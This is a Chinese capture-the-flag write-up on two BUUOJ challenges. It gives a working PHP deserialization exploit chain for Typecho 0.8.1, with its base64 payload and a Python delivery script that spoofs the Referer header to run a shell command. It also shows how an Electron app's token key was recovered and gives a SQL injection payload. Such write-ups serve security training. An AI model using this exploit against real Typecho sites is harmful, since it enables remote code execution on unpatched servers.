EzTypecho
有一个附件可以下载,是网站的源码
打开网站是一个Typecho网站的安装页面
果断搜索漏洞,之前可以考虑看下信息,发现changlog.txt文件中有版本信息-0.8.1
然后上网搜索Typecho漏洞,发现了两个反序列化漏洞,Typecho反序列化漏洞导致前台getshell和Typecho反序列化漏洞复现分析,想研究清楚可以去原文看,这里就讲利用,我们这里的版本是满足两个漏洞的,然后都可以用一个exp生成payload,我们这里使用下面的poc生成payload
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'system("cat /flag");';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
然后这里还需要绕过限制条件进行访问
两个漏洞公共的限制条件
文章中有说需要finish,但是这题并不需要
这里有个referer检测,绕过方法,加上referer字段,内容就是url
referer: http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn
然后就是两个漏洞分别的限制条件了,先看第一个漏洞
这里比官方漏洞多了个session的判断,需要绕过,然而前面的session_start();被注释掉了,所以需要找漏洞绕过,然后最前面还有个finish的get判断,然后下面是官方题解给的办法
import requests
url = 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php'
files = {'file': 123}
headers = {
'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=',
'Referer': 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php'
}
re = requests.post(url, files=files, headers=headers, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(re.text)
![](https://i-blog.csdnimg.cn/blog_migrate/ad769ceed3a88da25efca70ffcb405a2.png)
再看第二个漏洞
只检测了start是否有get传参,这个是比较简单的,直接get传参加前面的referer就完了
Node-Exe
hint:程序为electron程序
贴一下官方wp涨涨姿势
通过安装之后寻找源文件,或者对可执行文件binwalk,也可发现其中有7zip格式的文件,可以解压缩获得源文件,故此过程不再赘述。
安装后执行程序,填写靶机地址后,用户名密码为admin直接进入。
点击购买后,两个按钮都是没有用的假flag,故题目flag一定是无法购买的final flag。
通过抓包发现,请求除了包含基本的请求体,还有一个token。每次token请求均不同,且更改请求体后token失效,请求也无法重放,所以推断出token必然是以一定规则在本地生成的。
找到程序所在目录,确认程序为electron程序后,不难得知网页文件均打包于.\resources\app.asar下。用node的asar工具解包:
asar extract ./app.asar ./ext/
便可得到webpack网站的源文件,查看package.json,发现页面是基于vue构建的,同时也发现了库crypto和js-md5。所以即使js源文件被webpack,也可以通过搜索methods关键词找到token生成函数的位置,同时推测token加密使用了md5和另一种加密方式。
此处的methods中包含了“encrypt”,“makeToken”等关键词,定位到此处应为token生成位置,单独提出对代码进行格式化,得到加密函数:
不难看出,加密使用了aes加密,转到调用函数寻找key和iv
makeToken: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o, r;
return a.a.wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return "31169fedc9a20ecf",
"d96adeefaa0102a9",
o = f()(n()(e)),
t.next = 5,
i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);
case 5:
return r = t.sent,
t.abrupt("return", r);
case 7:
case "end":
return t.stop()
}
}), t, i)
})))()
},
可以得知加密使用的key和iv,但传入加密函数的并非传入生成函数的参数e,而是经过f和n函数处理得到的结果o,所以依然需要寻找函数f和函数n。但此时已经可以根据获得的key和iv对token进行初步解密了。解密后是一串长度为32的字符,基本可以推断这是一些信息的md5加密结果。回到renderer.js,格式化整个文档后,module结构如下:
module.exports = function(e){...}([function(e){}...]);
这一格式为js的IIFE函数,这种函数在定义处便执行,其中的变量不可从外部访问。我们从他的定义函数中寻找未知的函数n
此函数实现的js引擎中的stringify基础功能的一部分,用于解析字符串。结合请求体,可推断处调用的函数为toString(),不过此处并不重要,我们先前已经得知使用了md5加密。
接下来分析请求函数:
buyFlag: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o;
return a.a.wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return o = {
id: e,
timestamp: Date.parse(new Date)
},
t.t0 = i.$http,
t.t1 = i.url + "/buyflag",
t.t2 = o,
t.next = 6,
i.makeToken(o);
case 6:
t.t3 = t.sent,
t.t4 = {
token: t.t3
},
t.t5 = {
headers: t.t4
},
t.t6 = function(e) {
i.$Modal.info({
title: "购买结果",
content: e.data[0].flag
})
},
t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);
case 11:
case "end":
return t.stop()
}
}), t, i)
})))()
对照得知,传入makeToken函数的是请求体。至此审计结束,得到了token是由MD5
加密过的带timestamp的请求体后使用aes加密得到,之后便可自行发起请求。
根据返回的前两个flag的id分别为1和2,尝试获取id为3的flag时会提示无法购买,此时
通过构建payload注入即可获得flag。
payload:
1"or(id=3)#